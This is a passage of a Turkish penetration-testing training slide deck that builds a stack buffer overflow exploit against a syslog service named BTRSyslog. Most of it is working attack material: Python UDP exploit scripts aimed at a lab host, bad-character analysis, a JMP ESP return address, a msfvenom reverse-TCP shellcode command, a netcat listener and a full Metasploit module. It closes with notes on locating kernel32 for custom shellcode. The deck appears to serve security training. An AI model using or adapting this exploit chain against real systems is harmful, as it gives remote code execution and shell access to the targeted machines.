("x01x02x03x04x05x06x07x08x09x0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21"
"x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41"
"x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61"
"x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81"
"x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1"
"xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1"
"xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1"
"xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")
buffer = "A" * 136 + "B" * 4 + badchars
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close "mona" ile oluşturduğumuz yeniden
oluşturduğumuz "x00" ve "x0a" byte'larını
içermeyen byte array'i yerleştirerek tekrar
sunucumuza gönderiyoruz.
KÖTÜ KARAKTERLER
KÖTÜ KARAKTERLER
Yeni payload'umuzu denediğimizde
ESP değerine tıklayarak "Follow in
Stack" seçeneğini seçerek tekrar
ESP'nin işaret ettiği bellek
bölümündeki verileri aşağıda
görebiliriz.
KÖTÜ KARAKTERLER
!mona compare -f C:logsBTRSyslogbytearray.bin -a 06A5F500
Mona "x0d" byte'ının da kötü
karakter olduğunu belirledi.
!mona bytearray -b "x00x0ax0d"
"x0d" karakterini de kötü karakter olarak tanımlayarak yeni bir bytearray
oluşturuyoruz.
KÖTÜ KARAKTERLER
#!/usr/bin/python
import socket
badchars =
("x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22"
"x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42"
"x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62"
"x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82"
"x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2"
"xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2"
"xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2"
"xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")
buffer = "A" * 136 + "B" * 4 + badchars
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
"mona" ile oluşturduğumuz yeni byte array'i
yerleştirerek tekrar sunucumuza gönderiyoruz.
KÖTÜ KARAKTERLER
KÖTÜ KARAKTERLER
"x00", "x0a" ve "x0d"
karakterlerini içermeyen byte array'i
sunucuya gönderdiğimizde stack
alanına yazılan veriler aşağıdaki gibi
olacaktır.
Şimdi tekrar bellek ve bytearray.bin
dosyasının karşılaştırmasını yapalım.
KÖTÜ KARAKTERLER
!mona compare -f C:logsBTRSyslogbytearray.bin -a 06AAF900
Son byte array'imizde herhangi bir
kötü karakter yok, tüm payload'umuz
belleğe eksiksiz yazıldı.
• Uygulama her belleğe yüklendiğinde STACK adresi
değiştiğinden EIP değerini sabit bir STACK adresi ile
ezemiyoruz.
• Bu nedenle BTRSyslog proses'inin adres alanında
yüklü ancak ASLR desteği bulunmayan bir modül
içinde JMP ESP ve benzeri bir instruction bulmalı ve
EIP değerini bu instruction'ın adresi olarak
belirlemeliyiz.
RETURN ADDRESS – JMP ESP
!mona modules
ASLR desteği olmayan modüllere göz
attığımızda BTRSysdll.dll modülünün
aradığımız koşula uygun olduğunu
görebiliyoruz.
RETURN ADDRESS – JMP ESP
!mona find -type instr -s "jmp esp" -m BTRSysdll.dll
"mona" bize aradığımız instruction'ın adresini bulmamızda da yardımcı oluyor.
Normalde bu instruction'ın opcode'larını bularak binary bir arama yapmamız gerekirdi.
Ancak "mona" bizim için bunu bile kendisi yapıyor.
0x5060103b
RETURN ADDRESS – JMP ESP
• Bu adreste hangi instruction'ların bulunduğunu
görmek istersek Go To Address butonuna
tıklayarak ilgili adrese gidebiliriz.
RETURN ADDRESS – JMP ESP
5060103B FFE4 JMP ESP
RETURN ADDRESS – JMP ESP
• "JMP ESP" adresini tespit ettiğimize göre artık
uygulama akışına müdahale edebiliriz.
• Payload'umuzun EIP register’ını ezdiği noktaya "JMP
ESP" instruction'ının adresini yazarak uygulamayı bu
noktaya yönlendireceğiz.
• Buradaki dikkat edilmesi gereken nokta X86 mimarisi
Little Endian veri formatını kullandığı için adresimizi
payload'umuzun içine Little Endian formatında
yazmamız gerektiğidir.
0x5060103b > Little Endian x3bx10x60x50
SHELLCODE
#!/usr/bin/python
import socket
buffer = "A" * 136 + "x3bx10x60x50" + "C" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close EIP'yi ezdiğimiz alana Little
Endian formatında
"0x5060103b" değerini
yazıyoruz.
SHELLCODE
• "JMP ESP" işlemi gerçekleştiğinde "CC" karakterlerinin
olduğu alana atlayacağız. Bu adımı gözlemlemek ve
uygulama akışını payload'umuza yönlendirdiğimizden
emin olabilmek için debugger'ımızda atlama
adresimize "Breakpoint" koyabiliriz.
• Bunu yapmadığımız taktirde uygulamamız hata alarak
sonlanacak, çünkü yüklediğimiz payload işe yarar bir
payload değil.
SHELLCODE
Immunity debugger'ın alt
kısmında bulunan komut
satırından breakpoint
tanımlayabilirsiniz.
"b" düğmesine tıklayarak da
breakpoint listesini
görüntüleyebilirsiniz.
SHELLCODE
Step into
SHELLCODE
Follow in Dump -
Selection
SHELLCODE
• Breakpoint koymakla uğraşmak yerine şu şekilde de
payload'umuza atlandığından emin olabilirdik.
• "0xCC" değeri "INT 3", yani software breakpoint
instruction'ı anlamına gelir. ASCII C (yani "0x43")
karakterlerini yazdığımız alana bu değeri yazsaydık
uygulama payload'umuza atladığı anda breakpoint
uygulanabilirdi.
SHELLCODE
#!/usr/bin/python
import socket
buffer = "A" * 136 + "x3bx10x60x50" + "xCC" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close 0x43 değerine sahip olan ASCII C
karakteri yerine Hex "CC"
değerini yazıyoruz.
Böylece uygulama akışı bu alana
yönlendiğinde breakpoint işlemi
gerçekleşecek.
SHELLCODE
CC int3
Payload'umuz'un
tam halini Follow
in Dump yaparak
gözlemleyebiliriz
SHELLCODE
• Artık shellcode'umuzu üreterek payload'umuz içinde
uygun yere yerleştirebiliriz.
• Hedef sunucudan reverse TCP shell almak için
msfvenom'un üreteceği bir shellcode'u kullanabiliriz.
• Üreteceğimiz shellcode'un içinde kötü karakter
bulunmaması için "-b" opsiyonunu kullanabiliriz.
msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.x.x LPORT=4445 -e
x86/shikata_ga_nai -f c -b "x00x0ax0d"
SHELLCODE
SHELLCODE
• Msfvenom yaklaşık 350 byte uzunluğunda bir
shellcode oluşturdu.
• Bu shellcode’u daha önce stack alanına yazdırdığımız
‘C’ karakterlerinin yerini alacak şekilde scriptimizi
revize ediyoruz.
• Oluşturduğumuz shellcode çalışırken belirtilen stack
alanının ilk bir kaç bytelık bölümünü eziyor. Bu
durumun shellcode'u bozmasını engellemek için
shellcode'umuzun önünde ("0x90") NOP
instruction'larından bir tampon alan oluşturacağız.
• NOP instruction'ını etkisiz bir komut olarak
düşünebilirsiniz (XCHG EAX, EAX).
SHELLCODE
NOP Sled
Shellcode
SHELLCODE
• Son adım olarak Kali üzerinde NetCat ile TCP 4445
portundan dinleyecek bir servis başlatacağız.
• Bu hazırlıktan sonra exploit kodumuzu çalıştırarak
reverse shell alabiliriz.
# nc -lvp 4445
REVERSE SHELL
REVERSE SHELL
• Mevcut açıklıktan daha kolay faydalanabilmek için,
oluşturduğumuz exploit kodunu metasploit üzerine
ekleyeceğiz.
• Bu işlem için öncelikle örnek bir metasploit exploit
kodu bulalım.
• Metasploit içerisinde bulunan kodlar Ruby dile ile
yazılmış olup, metasploit tarafından özel olarak
hazırlanmış kütüphaneleri kullanmaktadırlar.
METASPLOIT ÜZERİNE EXPLOIT EKLEME
require 'msf/core'
class MetasploitModule< Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Udp
def initialize(info= {})
super(update_info(info,
'Name' => 'BTRSyslog Remote Exploit',
'Description' => %q{BTRSyslog Buffer Overflow},
'License' => MSF_LICENSE,
'Author' => ['Emre Karadeniz',],
'References' => [[ 'http://www.btrisk.com'],],
'DefaultOptions' => {'EXITFUNC' => 'thread',},
'Payload' => {'BadChars' => "x00x0ax0d",},
'Platform' => 'win',
'Targets' => [
['Tum Windows Isletim Sistemleri',
{
'Ret' => 0x5060103B,
'Offset' => 136
}],
],
'DisclosureDate' => 'October 29 2023',
'DefaultTarget' => 0))
register_options([Opt::RPORT(514),],self.class)
end
#Exploit isleminintanimlandigi bolum
def exploit
connect_udp
sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)
sploit << [target.ret].pack('V')
sploit << make_nops(16)
sploit << payload.encoded
udp_sock.put(sploit)
handler
disconnect_udp
end
end
btrsyslog.rb
JMP ESP adresi
Offset değeri
METASPLOIT ÜZERİNE EXPLOIT EKLEME
btrsyslog.rb
136 byte'lık random karakter, ancak kötü karakter içermemeli
Handler'ı başlatıyoruz
JMP ESP atlama adresi
16 adet NOP instruction'ı
PAYLOAD
Payload'u gönderiyoruz
METASPLOIT ÜZERİNE EXPLOIT EKLEME
• Scriptimiz btrsyslog.rb ismiyle kaydediyoruz ve
/usr/share/metasploit-
framework/modules/exploits/windows/misc dizinine
kopyalıyoruz.
• Msfconsole komutu ile metasploit framework’u
çalıştırıyoruz.
• Kodumuzda herhangi bir hata olması durumda
msfconsole bizi uyaracaktır.
/usr/share/metasploit-
framework/modules/exploits/windows/misc/ btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME
btrsyslog.rb script'imizi ilgili Metasploit dizinine kopyalıyoruz.
METASPLOIT ÜZERİNE EXPLOIT EKLEME
Eğer script'imiz Metasploit'in kurallarına
uygun değilse yukarıdaki gibi bir uyarı
görebilirsiniz. Bu durumda script'iniz
yüklenmeyecektir.
METASPLOIT ÜZERİNE EXPLOIT EKLEME
"search btrsyslog" komutu ile script'imizi
arayalım
METASPLOIT ÜZERİNE EXPLOIT EKLEME
"show options" komutu ile script'imizin
belirlenmesi gereken parametrelerini görelim
METASPLOIT ÜZERİNE EXPLOIT EKLEME
RHOST parametresini hedef sunucumuz olarak
belirledikten sonra öntanımlı payload olan meterpreter
reverse TCP payload'u ile erişim sağlayabiliriz
METASPLOIT ÜZERİNE EXPLOIT EKLEME
• Kullandığımız shellcode hazır bir shellcode, dolayısıyla
shellcode'u belleğe yazma alanımız kısıtlıysa veya
güvenlik çözümlerinden kaçınabilmek istiyorsak
shellcode geliştirme yeteneğimizin bulunması gerekir.
• Shellcode derlenen bir kodun sahip olduğu pekçok
avantaja sahip olmayıp belleğin hangi noktasında
kendisini bulursa bulsun yolunu bulabileceği yeteneğe
sahip olmak zorundadır. Bu da shellcode geliştirecek
kişinin Assembly dilini bilmesinin yanı sıra bir
uygulama belleğe yüklendiğinde proses ile ilgili oluşan
belli veri yapılarını bilmesini gerektirir.
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
THREAD ENVIRONMENT BLOCK (TEB)
• Adım-1: PEB’in adresinin bulunması
0:000> !teb
TEB at 7efdd000
ExceptionList: 0026f814
StackBase: 00270000
StackLimit: 0026e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7efdd000
EnvironmentPointer: 00000000
ClientId: 00001920 . 00001928
RpcHandle: 00000000
Tls Storage: 7efdd02c
PEB Address: 7efde000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
fs:[0]
fs:[30]
0x30
KERNEL32.DLL MODÜLÜNÜ
BELLEKTE BULMAK
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
PROCESS ENVIRONMENT BLOCK (PEB)
• Adım-2: _PEB_LDR_DATA veri yapısının bulunması
0:000> dt nt!_peb 7efde000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x01380000 Void
+0x00c Ldr : 0x77240200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x002f2178 _
....
fs:[30]
0x0c
KERNEL32.DLL MODÜLÜNÜ
BELLEKTE BULMAK
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
_PEB_LDR_DATA
• Adım-3: Modül zincir listelerinin bulunması
0:000> dt _PEB_LDR_DATA 0x77240200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2f4cf8 -
0x2f5990 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2f4d00
- 0x2f5998 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [
0x2f4d98 - 0x2f59a0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
0x1c
KERNEL32.DLL MODÜLÜNÜ
BELLEKTE BULMAK
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
MODÜL ZİNCİR LİSTESİ
• Adım-4: Başlatılma sırasına göre modül zincir listesinin izlenmesi
0:000> dt _LIST_ENTRY 0x7724021c
ntdll!_LIST_ENTRY
[ 0x2f4d98 - 0x2f59a0 ]
+0x000 Flink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c ]
+0x004 Blink : 0x002f59a0 _LIST_ENTRY [ 0x7724021c - 0x2f5118 ]
0:000> dt _LIST_ENTRY 0x002f4d98
ntdll!_LIST_ENTRY
[ 0x2f5230 - 0x7724021c ]
+0x000 Flink : 0x002f5230 _LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ]
+0x004 Blink : 0x7724021c _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ]
0:000> dt _LIST_ENTRY 0x002f5230
ntdll!_LIST_ENTRY
[ 0x2f5118 - 0x2f4d98 ]
+0x000 Flink : 0x002f5118 _LIST_ENTRY [ 0x2f59a0 - 0x2f5230 ]
+0x004 Blink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c
]
1
2
3
KERNEL32.DLL MODÜLÜNÜ
BELLEKTE BULMAK
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
MODÜL ADI
• Adım-5: Modül adının bulunması
0:000> dd 0x002f4d98 + 20
002f4db8 77185bc4 00004004 0000ffff 002f59cc
002f4dc8 772448e0 521ea8e7 00000000 00000000
0:000> db 77185bc4
77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 n.t.d.l.l...d.l.
77185bd4 6c 00 00 00 14 00 16 00-e0 5b 18 77 5c 00 53 00 l........[.w.S.
77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 Y.S.T.E.M.3.2..
77185bf4 00 00 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 .........U..QQ.e
77185c04 fc 00 53 56 8b 35 0c 02-24 77 57 81 fe 0c 02 24 ..SV.5..$wW....$
77185c14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wt1.E.Pj....6j..
KERNEL32.DLL MODÜLÜNÜ
BELLEKTE BULMAK
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
(+0x3c) Yeni EXE
Header Offseti
IMAGE DOS HEADER
(+0x78) EXPORT Table
IMAGE OPTIONAL HEADER
(+0x20) Name Pointer
Table RVA
IMAGE EXPORT DIRECTORY
# Function Name RVA
EXPORT Name Pointer Table
Function Ordinal
EXPORT Ordinal Table
Function RVA
EXPORT Address Table
WinExec
Fonksiyon RVA Adresi + Modül Baz Adresi = Fonksiyon VA Adresi
Modül Baz
Adresi
(+0x24)
(+0x1c)
Sayaç: # of Functions (+0x14)
BİR MODÜL İÇİNDE BİR FONKSİYONUN ADRESİNİ BULMAK
EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2

Más contenido relacionado

La actualidad más candente

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9BGA Cyber Security
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ BGA Cyber Security
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI BGA Cyber Security
 
Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3Murat KARA
 
Siber Güvenlik Eğitimleri | SPARTA BİLİŞİM
Siber Güvenlik Eğitimleri | SPARTA BİLİŞİMSiber Güvenlik Eğitimleri | SPARTA BİLİŞİM
Siber Güvenlik Eğitimleri | SPARTA BİLİŞİMSparta Bilişim
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuBGA Cyber Security
 
Siber Güvenlik ve Etik Hacking Sunu - 10
Siber Güvenlik ve Etik Hacking Sunu - 10Siber Güvenlik ve Etik Hacking Sunu - 10
Siber Güvenlik ve Etik Hacking Sunu - 10Murat KARA
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugayFuat Ulugay, CISSP
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıAhmet Gürel
 
Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Murat KARA
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18BGA Cyber Security
 

La actualidad más candente (20)

BTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi EğitimiBTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi Eğitimi
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3
 
Siber Güvenlik Eğitimleri | SPARTA BİLİŞİM
Siber Güvenlik Eğitimleri | SPARTA BİLİŞİMSiber Güvenlik Eğitimleri | SPARTA BİLİŞİM
Siber Güvenlik Eğitimleri | SPARTA BİLİŞİM
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
 
Siber Güvenlik ve Etik Hacking Sunu - 10
Siber Güvenlik ve Etik Hacking Sunu - 10Siber Güvenlik ve Etik Hacking Sunu - 10
Siber Güvenlik ve Etik Hacking Sunu - 10
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş Dökümanı
 
Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
Metasploit Framework Eğitimi
Metasploit Framework EğitimiMetasploit Framework Eğitimi
Metasploit Framework Eğitimi
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
 

Similar a Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2

Siber Güvenlik ve Etik Hacking Sunu - 4
Siber Güvenlik ve Etik Hacking Sunu - 4Siber Güvenlik ve Etik Hacking Sunu - 4
Siber Güvenlik ve Etik Hacking Sunu - 4Murat KARA
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
 
Windows Server 2012 Network ve File System Yenilikleri
Windows Server 2012 Network ve File System YenilikleriWindows Server 2012 Network ve File System Yenilikleri
Windows Server 2012 Network ve File System YenilikleriMustafa
 
Windows Server 2012 Network ve Dosya Sistemi Yenilikleri
Windows Server 2012 Network ve Dosya Sistemi YenilikleriWindows Server 2012 Network ve Dosya Sistemi Yenilikleri
Windows Server 2012 Network ve Dosya Sistemi YenilikleriMSHOWTO Bilisim Toplulugu
 
I pv6 icmp_udp
I pv6 icmp_udpI pv6 icmp_udp
I pv6 icmp_udpgazi böte
 
Microsoft Azure Sanal Ağ Temelleri
Microsoft Azure Sanal Ağ TemelleriMicrosoft Azure Sanal Ağ Temelleri
Microsoft Azure Sanal Ağ TemelleriMustafa
 
Network - Bilgisayar Ağlarına Giriş
Network - Bilgisayar Ağlarına Giriş Network - Bilgisayar Ağlarına Giriş
Network - Bilgisayar Ağlarına Giriş Murat KARA
 
IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi
IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi
IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi Murat Can Demir
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 
Siber Güvenlik 1. hafta
Siber Güvenlik 1. haftaSiber Güvenlik 1. hafta
Siber Güvenlik 1. haftaOnur Er
 
Wireshark.pdf
Wireshark.pdfWireshark.pdf
Wireshark.pdfandrohitt
 
Hazi̇ran
Hazi̇ranHazi̇ran
Hazi̇ranBttBLog
 
IPv6 Adresleme Erman YıLmaz
IPv6 Adresleme Erman YıLmazIPv6 Adresleme Erman YıLmaz
IPv6 Adresleme Erman YıLmazdatacat
 
Infraskope Security Event Manager
Infraskope  Security  Event  ManagerInfraskope  Security  Event  Manager
Infraskope Security Event Managerlogyonetimi
 
Ozgur Yazilimlar ile VoIP Guvenlik Denetimi
Ozgur Yazilimlar ile VoIP Guvenlik DenetimiOzgur Yazilimlar ile VoIP Guvenlik Denetimi
Ozgur Yazilimlar ile VoIP Guvenlik DenetimiFatih Ozavci
 

Similar a Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2 (20)

Siber Güvenlik ve Etik Hacking Sunu - 4
Siber Güvenlik ve Etik Hacking Sunu - 4Siber Güvenlik ve Etik Hacking Sunu - 4
Siber Güvenlik ve Etik Hacking Sunu - 4
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
 
Windows Server 2012 Network ve File System Yenilikleri
Windows Server 2012 Network ve File System YenilikleriWindows Server 2012 Network ve File System Yenilikleri
Windows Server 2012 Network ve File System Yenilikleri
 
